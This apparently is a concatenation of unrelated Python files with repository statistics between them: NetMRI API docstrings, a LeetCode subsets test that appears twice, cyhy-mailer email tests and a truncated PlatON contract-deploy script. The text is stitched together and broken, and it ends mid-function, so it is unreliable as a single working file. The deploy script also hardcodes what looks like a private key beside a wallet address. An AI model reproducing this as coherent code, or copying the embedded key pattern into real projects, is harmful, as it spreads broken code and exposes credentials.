:param val_f_FltSetFirstSeenTime: If op_FltSetFirstSeenTime is specified, the field named in this input will be compared to the value in FltSetFirstSeenTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetFirstSeenTime must be specified if op_FltSetFirstSeenTime is specified.
:type val_f_FltSetFirstSeenTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetFirstSeenTime: If op_FltSetFirstSeenTime is specified, this value will be compared to the value in FltSetFirstSeenTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetFirstSeenTime must be specified if op_FltSetFirstSeenTime is specified.
:type val_c_FltSetFirstSeenTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetIPVersion: The operator to apply to the field FltSetIPVersion. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetIPVersion: the IP version of the packets filtered by this rule list - default is 4. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetIPVersion: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetIPVersion: If op_FltSetIPVersion is specified, the field named in this input will be compared to the value in FltSetIPVersion using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetIPVersion must be specified if op_FltSetIPVersion is specified.
:type val_f_FltSetIPVersion: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetIPVersion: If op_FltSetIPVersion is specified, this value will be compared to the value in FltSetIPVersion using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetIPVersion must be specified if op_FltSetIPVersion is specified.
:type val_c_FltSetIPVersion: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetName: The operator to apply to the field FltSetName. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetName: The name of this rule-list. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetName: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetName: If op_FltSetName is specified, the field named in this input will be compared to the value in FltSetName using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetName must be specified if op_FltSetName is specified.
:type val_f_FltSetName: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetName: If op_FltSetName is specified, this value will be compared to the value in FltSetName using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetName must be specified if op_FltSetName is specified.
:type val_c_FltSetName: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetProvisionData: The operator to apply to the field FltSetProvisionData. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetProvisionData: Internal data - do not modify, may change without warning. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetProvisionData: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetProvisionData: If op_FltSetProvisionData is specified, the field named in this input will be compared to the value in FltSetProvisionData using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetProvisionData must be specified if op_FltSetProvisionData is specified.
:type val_f_FltSetProvisionData: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetProvisionData: If op_FltSetProvisionData is specified, this value will be compared to the value in FltSetProvisionData using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetProvisionData must be specified if op_FltSetProvisionData is specified.
:type val_c_FltSetProvisionData: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetStartTime: The operator to apply to the field FltSetStartTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetStartTime: The starting effective time of this record. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetStartTime: If op_FltSetStartTime is specified, the field named in this input will be compared to the value in FltSetStartTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetStartTime must be specified if op_FltSetStartTime is specified.
:type val_f_FltSetStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetStartTime: If op_FltSetStartTime is specified, this value will be compared to the value in FltSetStartTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetStartTime must be specified if op_FltSetStartTime is specified.
:type val_c_FltSetStartTime: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetTimestamp: The operator to apply to the field FltSetTimestamp. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetTimestamp: The date and time this record was collected or calculated. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetTimestamp: If op_FltSetTimestamp is specified, the field named in this input will be compared to the value in FltSetTimestamp using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetTimestamp must be specified if op_FltSetTimestamp is specified.
:type val_f_FltSetTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetTimestamp: If op_FltSetTimestamp is specified, this value will be compared to the value in FltSetTimestamp using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetTimestamp must be specified if op_FltSetTimestamp is specified.
:type val_c_FltSetTimestamp: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param op_FltSetUseCount: The operator to apply to the field FltSetUseCount. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. FltSetUseCount: The number of usage of this rule list inside the configuration (may be for filtering or for NAT, vpn etc). For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values.
:type op_FltSetUseCount: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_f_FltSetUseCount: If op_FltSetUseCount is specified, the field named in this input will be compared to the value in FltSetUseCount using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_FltSetUseCount must be specified if op_FltSetUseCount is specified.
:type val_f_FltSetUseCount: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param val_c_FltSetUseCount: If op_FltSetUseCount is specified, this value will be compared to the value in FltSetUseCount using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_FltSetUseCount must be specified if op_FltSetUseCount is specified.
:type val_c_FltSetUseCount: String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device filter sets as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device filter set methods. The listed methods will be called on each device filter set returned and included in the output. Available methods are: data_source, device.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: data_source, device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceFilterSetID
:param sort: The data field(s) to use for sorting the output. Default is DeviceFilterSetID. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceFilterSet. Valid values are DeviceFilterSetID, DeviceID, DataSourceID, FltSetFirstSeenTime, FltSetStartTime, FltSetEndTime, FltSetTimestamp, FltSetChangedCols, FltSetName, FltSetIPVersion, FltSetUseCount, FltSetArtificialInd, FltSetConfigText, FltSetProvisionData. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
| ``api version min:`` 2.3
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering.
:type xml_filter: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_filter_sets: An array of the DeviceFilterSet objects that match the specified input criteria.
:rtype device_filter_sets: Array of DeviceFilterSet
"""
return self.api_list_request(self._get_method_fullname("find"), kwargs)
def data_source(self, **kwargs):
"""The collector NetMRI that collected this data record.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` True
| ``default:`` None
:param DeviceFilterSetID: The internal NetMRI identifier for this rule list.
:type DeviceFilterSetID: Integer
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return : The collector NetMRI that collected this data record.
:rtype : DataSource
"""
return self.api_request(self._get_method_fullname("data_source"), kwargs)
def device(self, **kwargs):
"""The device from which this data was collected.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` True
| ``default:`` None
:param DeviceFilterSetID: The internal NetMRI identifier for this rule list.
:type DeviceFilterSetID: Integer
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return : The device from which this data was collected.
:rtype : Device
"""
return self.api_request(self._get_method_fullname("device"), kwargs)
| 56.071272
| 652
| 0.6262
| 6,168
| 51,137
| 5.138781
| 0.050422
| 0.066254
| 0.043065
| 0.056316
| 0.935323
| 0.934187
| 0.904278
| 0.890333
| 0.877019
| 0.875536
| 0
| 0.003133
| 0.294796
| 51,137
| 911
| 653
| 56.132821
| 0.875797
| 0.830671
| 0
| 0
| 0
| 0
| 0.064286
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.066667
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 9
|
77c3b166af06a73fb2dee03c315c339fad45ec48
| 1,340
|
py
|
Python
|
tests/test_90.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
tests/test_90.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
tests/test_90.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import pytest
"""
Test 90. Subsets II
"""
@pytest.fixture(scope="session")
def init_variables_90():
from src.leetcode_90_subsets_ii import Solution
solution = Solution()
def _init_variables_90():
return solution
yield _init_variables_90
class TestClass90:
def test_solution_0(self, init_variables_90):
assert init_variables_90().subsetsWithDup([1, 2, 2]) == [
[],
[1],
[1, 2],
[1, 2, 2],
[2],
[2, 2],
]
def test_solution_1(self, init_variables_90):
assert init_variables_90().subsetsWithDup([0]) == [[], [0]]
#!/usr/bin/env python
import pytest
"""
Test 90. Subsets II
"""
@pytest.fixture(scope="session")
def init_variables_90():
from src.leetcode_90_subsets_ii import Solution
solution = Solution()
def _init_variables_90():
return solution
yield _init_variables_90
class TestClass90:
def test_solution_0(self, init_variables_90):
assert init_variables_90().subsetsWithDup([1, 2, 2]) == [
[],
[1],
[1, 2],
[1, 2, 2],
[2],
[2, 2],
]
def test_solution_1(self, init_variables_90):
assert init_variables_90().subsetsWithDup([0]) == [[], [0]]
| 18.873239
| 67
| 0.576119
| 160
| 1,340
| 4.5375
| 0.1875
| 0.250689
| 0.289256
| 0.099174
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0.075789
| 0.291045
| 1,340
| 70
| 68
| 19.142857
| 0.688421
| 0.029851
| 0
| 0.95
| 0
| 0
| 0.011254
| 0
| 0
| 0
| 0
| 0
| 0.1
| 1
| 0.2
| false
| 0
| 0.1
| 0.05
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
24cc86ac57d801a9df1f8a9cb845be2566804549
| 18,279
|
py
|
Python
|
tests/test_pandemessage.py
|
elr64/cyhy-mailer
|
b59b7fa27c6659d103b72ffff8672f724f5d6dd0
|
[
"CC0-1.0"
] | null | null | null |
tests/test_pandemessage.py
|
elr64/cyhy-mailer
|
b59b7fa27c6659d103b72ffff8672f724f5d6dd0
|
[
"CC0-1.0"
] | null | null | null |
tests/test_pandemessage.py
|
elr64/cyhy-mailer
|
b59b7fa27c6659d103b72ffff8672f724f5d6dd0
|
[
"CC0-1.0"
] | null | null | null |
"""This module contains the tests for the PandEMessage class."""
import unittest
from cyhy.mailer.PandEMessage import PandEMessage
class Test(unittest.TestCase):
"""The tests for the PandEMessage class."""
def test_four_params_single_recipient(self):
"""Test the 4-parameter version of the constructor."""
to = ["recipient@example.com"]
pdf = "./tests/data/pdf-sample.pdf"
report_date = "December 15, 2001"
message = PandEMessage(pdf, report_date, to)
self.assertEqual(message["From"], "reports@cyber.dhs.gov")
self.assertEqual(
message["Subject"], "Posture and Exposure Report - December 15, 2001"
)
self.assertEqual(message.get("CC"), None)
self.assertEqual(message["BCC"], "cyhy_reports@hq.dhs.gov")
self.assertEqual(message["To"], "recipient@example.com")
# Grab the bytes that comprise the attachment
bytes = open(pdf, "rb").read()
# Make sure the correct body and PDF attachment were added
for part in message.walk():
# multipart/* are just containers
if part.get_content_type() == "application/pdf":
self.assertEqual(part.get_payload(decode=True), bytes)
self.assertEqual(part.get_filename(), "pdf-sample.pdf")
elif part.get_content_type() == "text/plain":
text_body = """Greetings,
The attached Posture and Exposure (P&E) report is the result of a CISA Cyber Assessments service that provides actionable information about public exposures and security posture weaknesses.
All of the findings and information are derived from public information that is currently available. No scanning has occurred for this service.
The report will initially be delivered twice per month, but it will be updated and enhanced to integrate more data sources and be sent with greater frequency in the future. The P&E report is for your situational awareness as a supplement to other threat reports you may have internally or externally. No action is required, but your feedback and questions are more than welcome.
Note: The report is encrypted with your Cyber Hygiene password.
Thank you,
CISA Cyber Assessments - Posture and Exposure
Cybersecurity and Infrastructure Security Agency
vulnerability@cisa.dhs.gov
WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.
"""
self.assertEqual(part.get_payload(), text_body)
elif part.get_content_type() == "text/html":
html_body = """<html>
<head></head>
<body>
<p>Greetings,</p>
<p>The attached Posture and Exposure (P&E) report is the result of a
CISA Cyber Assessments service that provides actionable information
about public exposures and security posture weaknesses.</p>
<p>All of the findings and information are derived from public
information that is currently available. No scanning has occurred
for this service.</p>
<p>The report will initially be delivered twice per month, but it
will be updated and enhanced to integrate more data sources and be
sent with greater frequency in the future. The P&E report is for your
situational awareness as a supplement to other threat reports you may
have internally or externally. No action is required, but your feedback
and questions are more than welcome.</p>
<p>Note: The report is encrypted with your Cyber Hygiene password.</p>
<p>Thank you,<br>
CISA Cyber Assessments - Posture and Exposure<br>
Cybersecurity and Infrastructure Security Agency<br>
<a href="mailto:vulnerability@cisa.dhs.gov">vulnerability@cisa.dhs.gov</a></p>
<p>WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.</p>
</body>
</html>
"""
self.assertEqual(part.get_payload(), html_body)
def test_four_params_multiple_recipients(self):
"""Test the 4-parameter version of the constructor."""
to = ["recipient@example.com", "recipient2@example.com"]
pdf = "./tests/data/pdf-sample.pdf"
report_date = "December 15, 2001"
message = PandEMessage(pdf, report_date, to)
self.assertEqual(message["From"], "reports@cyber.dhs.gov")
self.assertEqual(
message["Subject"], "Posture and Exposure Report - December 15, 2001"
)
self.assertEqual(message.get("CC"), None)
self.assertEqual(message["BCC"], "cyhy_reports@hq.dhs.gov")
self.assertEqual(message["To"], "recipient@example.com,recipient2@example.com")
# Grab the bytes that comprise the attachment
pdf_bytes = open(pdf, "rb").read()
# Make sure the correct body and PDF attachment were added
for part in message.walk():
# multipart/* are just containers
if part.get_content_type() == "application/pdf":
self.assertEqual(part.get_payload(decode=True), pdf_bytes)
self.assertEqual(part.get_filename(), "pdf-sample.pdf")
elif part.get_content_type() == "text/plain":
text_body = """Greetings,
The attached Posture and Exposure (P&E) report is the result of a CISA Cyber Assessments service that provides actionable information about public exposures and security posture weaknesses.
All of the findings and information are derived from public information that is currently available. No scanning has occurred for this service.
The report will initially be delivered twice per month, but it will be updated and enhanced to integrate more data sources and be sent with greater frequency in the future. The P&E report is for your situational awareness as a supplement to other threat reports you may have internally or externally. No action is required, but your feedback and questions are more than welcome.
Note: The report is encrypted with your Cyber Hygiene password.
Thank you,
CISA Cyber Assessments - Posture and Exposure
Cybersecurity and Infrastructure Security Agency
vulnerability@cisa.dhs.gov
WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.
"""
self.assertEqual(part.get_payload(), text_body)
elif part.get_content_type() == "text/html":
html_body = """<html>
<head></head>
<body>
<p>Greetings,</p>
<p>The attached Posture and Exposure (P&E) report is the result of a
CISA Cyber Assessments service that provides actionable information
about public exposures and security posture weaknesses.</p>
<p>All of the findings and information are derived from public
information that is currently available. No scanning has occurred
for this service.</p>
<p>The report will initially be delivered twice per month, but it
will be updated and enhanced to integrate more data sources and be
sent with greater frequency in the future. The P&E report is for your
situational awareness as a supplement to other threat reports you may
have internally or externally. No action is required, but your feedback
and questions are more than welcome.</p>
<p>Note: The report is encrypted with your Cyber Hygiene password.</p>
<p>Thank you,<br>
CISA Cyber Assessments - Posture and Exposure<br>
Cybersecurity and Infrastructure Security Agency<br>
<a href="mailto:vulnerability@cisa.dhs.gov">vulnerability@cisa.dhs.gov</a></p>
<p>WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.</p>
</body>
</html>
"""
self.assertEqual(part.get_payload(), html_body)
def test_six_params_single_cc(self):
"""Test the 6-parameter version of the constructor."""
to = ["recipient@example.com", "recipient2@example.com"]
pdf = "./tests/data/pdf-sample.pdf"
fm = "sender@example.com"
cc = ["cc@example.com"]
bcc = ["bcc@example.com", "bcc2@example.com"]
report_date = "December 15, 2001"
message = PandEMessage(
pdf, report_date, to, from_addr=fm, cc_addrs=cc, bcc_addrs=bcc
)
self.assertEqual(message["From"], fm)
self.assertEqual(
message["Subject"], "Posture and Exposure Report - December 15, 2001"
)
self.assertEqual(message["CC"], "cc@example.com")
self.assertEqual(message["BCC"], "bcc@example.com,bcc2@example.com")
self.assertEqual(message["To"], "recipient@example.com,recipient2@example.com")
# Grab the bytes that comprise the attachment
pdf_bytes = open(pdf, "rb").read()
# Make sure the correct body and PDF attachment were added
for part in message.walk():
# multipart/* are just containers
if part.get_content_type() == "application/pdf":
self.assertEqual(part.get_payload(decode=True), pdf_bytes)
self.assertEqual(part.get_filename(), "pdf-sample.pdf")
elif part.get_content_type() == "text/plain":
text_body = """Greetings,
The attached Posture and Exposure (P&E) report is the result of a CISA Cyber Assessments service that provides actionable information about public exposures and security posture weaknesses.
All of the findings and information are derived from public information that is currently available. No scanning has occurred for this service.
The report will initially be delivered twice per month, but it will be updated and enhanced to integrate more data sources and be sent with greater frequency in the future. The P&E report is for your situational awareness as a supplement to other threat reports you may have internally or externally. No action is required, but your feedback and questions are more than welcome.
Note: The report is encrypted with your Cyber Hygiene password.
Thank you,
CISA Cyber Assessments - Posture and Exposure
Cybersecurity and Infrastructure Security Agency
vulnerability@cisa.dhs.gov
WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.
"""
self.assertEqual(part.get_payload(), text_body)
elif part.get_content_type() == "text/html":
html_body = """<html>
<head></head>
<body>
<p>Greetings,</p>
<p>The attached Posture and Exposure (P&E) report is the result of a
CISA Cyber Assessments service that provides actionable information
about public exposures and security posture weaknesses.</p>
<p>All of the findings and information are derived from public
information that is currently available. No scanning has occurred
for this service.</p>
<p>The report will initially be delivered twice per month, but it
will be updated and enhanced to integrate more data sources and be
sent with greater frequency in the future. The P&E report is for your
situational awareness as a supplement to other threat reports you may
have internally or externally. No action is required, but your feedback
and questions are more than welcome.</p>
<p>Note: The report is encrypted with your Cyber Hygiene password.</p>
<p>Thank you,<br>
CISA Cyber Assessments - Posture and Exposure<br>
Cybersecurity and Infrastructure Security Agency<br>
<a href="mailto:vulnerability@cisa.dhs.gov">vulnerability@cisa.dhs.gov</a></p>
<p>WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.</p>
</body>
</html>
"""
self.assertEqual(part.get_payload(), html_body)
def test_six_params_multiple_cc(self):
"""Test the 6-parameter version of the constructor."""
to = ["recipient@example.com", "recipient2@example.com"]
pdf = "./tests/data/pdf-sample.pdf"
fm = "sender@example.com"
cc = ["cc@example.com", "cc2@example.com"]
bcc = ["bcc@example.com", "bcc2@example.com"]
report_date = "December 15, 2001"
message = PandEMessage(
pdf, report_date, to, from_addr=fm, cc_addrs=cc, bcc_addrs=bcc
)
self.assertEqual(message["From"], fm)
self.assertEqual(
message["Subject"], "Posture and Exposure Report - December 15, 2001"
)
self.assertEqual(message["CC"], "cc@example.com,cc2@example.com")
self.assertEqual(message["BCC"], "bcc@example.com,bcc2@example.com")
self.assertEqual(message["To"], "recipient@example.com,recipient2@example.com")
# Grab the bytes that comprise the attachment
pdf_bytes = open(pdf, "rb").read()
# Make sure the correct body and PDF attachment were added
for part in message.walk():
# multipart/* are just containers
if part.get_content_type() == "application/pdf":
self.assertEqual(part.get_payload(decode=True), pdf_bytes)
self.assertEqual(part.get_filename(), "pdf-sample.pdf")
elif part.get_content_type() == "text/plain":
text_body = """Greetings,
The attached Posture and Exposure (P&E) report is the result of a CISA Cyber Assessments service that provides actionable information about public exposures and security posture weaknesses.
All of the findings and information are derived from public information that is currently available. No scanning has occurred for this service.
The report will initially be delivered twice per month, but it will be updated and enhanced to integrate more data sources and be sent with greater frequency in the future. The P&E report is for your situational awareness as a supplement to other threat reports you may have internally or externally. No action is required, but your feedback and questions are more than welcome.
Note: The report is encrypted with your Cyber Hygiene password.
Thank you,
CISA Cyber Assessments - Posture and Exposure
Cybersecurity and Infrastructure Security Agency
vulnerability@cisa.dhs.gov
WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.
"""
self.assertEqual(part.get_payload(), text_body)
elif part.get_content_type() == "text/html":
html_body = """<html>
<head></head>
<body>
<p>Greetings,</p>
<p>The attached Posture and Exposure (P&E) report is the result of a
CISA Cyber Assessments service that provides actionable information
about public exposures and security posture weaknesses.</p>
<p>All of the findings and information are derived from public
information that is currently available. No scanning has occurred
for this service.</p>
<p>The report will initially be delivered twice per month, but it
will be updated and enhanced to integrate more data sources and be
sent with greater frequency in the future. The P&E report is for your
situational awareness as a supplement to other threat reports you may
have internally or externally. No action is required, but your feedback
and questions are more than welcome.</p>
<p>Note: The report is encrypted with your Cyber Hygiene password.</p>
<p>Thank you,<br>
CISA Cyber Assessments - Posture and Exposure<br>
Cybersecurity and Infrastructure Security Agency<br>
<a href="mailto:vulnerability@cisa.dhs.gov">vulnerability@cisa.dhs.gov</a></p>
<p>WARNING: This document is FOR OFFICIAL USE ONLY (FOUO). It contains information that may be exempt from public release under the Freedom of Information Act (5 U.S.G. 552). It is to be controlled, stored, handled, transmitted, distributed, and disposed of in accordance with CISA policy relating to FOUO information and is not to be released to the public or other personnel who do not have a valid 'need-to-know' without prior approval of an authorized CISA official.</p>
</body>
</html>
"""
self.assertEqual(part.get_payload(), html_body)
if __name__ == "__main__":
unittest.main()
| 54.240356
| 474
| 0.728377
| 2,668
| 18,279
| 4.952024
| 0.08021
| 0.040872
| 0.033303
| 0.026642
| 0.985089
| 0.985089
| 0.980397
| 0.979942
| 0.979942
| 0.977142
| 0
| 0.006498
| 0.19175
| 18,279
| 336
| 475
| 54.401786
| 0.887776
| 0.045134
| 0
| 0.90535
| 0
| 0.098765
| 0.749828
| 0.057259
| 0
| 0
| 0
| 0
| 0.148148
| 1
| 0.016461
| false
| 0.032922
| 0.00823
| 0
| 0.028807
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
24fa673e0a900168d5ea7fbcc4c5399e925b10ac
| 8,883
|
py
|
Python
|
tests/EVMContractTest.py
|
jiuen1115/SM-client-sdk-python
|
88ffa77b196803fb141c0b4d27d2841aaebab800
|
[
"MIT"
] | 7
|
2019-03-18T06:56:18.000Z
|
2021-05-06T07:41:02.000Z
|
tests/EVMContractTest.py
|
jiuen1115/SM-client-sdk-python
|
88ffa77b196803fb141c0b4d27d2841aaebab800
|
[
"MIT"
] | 12
|
2020-09-18T05:46:27.000Z
|
2021-12-24T09:38:31.000Z
|
tests/EVMContractTest.py
|
PlatONnetwork/client-sdk-python
|
94ad57bb34b5ee7bb314ac858071686382c55402
|
[
"MIT"
] | 16
|
2019-02-28T03:21:14.000Z
|
2021-07-15T06:49:39.000Z
|
from hexbytes import HexBytes
from client_sdk_python import Web3, HTTPProvider
from client_sdk_python.eth import PlatON
from client_sdk_python.packages.platon_keys.utils import bech32,address
from client_sdk_python.packages.eth_utils import to_checksum_address
true = True
false = False
w3 = Web3(HTTPProvider("http://10.1.1.5:6789"))
platon = PlatON(w3)
print(w3.isConnected())
from_address = "lax1yjjzvjph3tw4h2quw6mse25y492xy7fzwdtqja"
print(from_address)
send_privatekey = "16e80ad4079462cc7f9748af2f9cf03e8f7384bed597c086db4f11a98c3b08f0"
def contract_deploy(bytecode, fromAddress):
bytecode = bytecode
transactionHash = platon.sendTransaction(
{
"from": fromAddress,
"gas": 1000000,
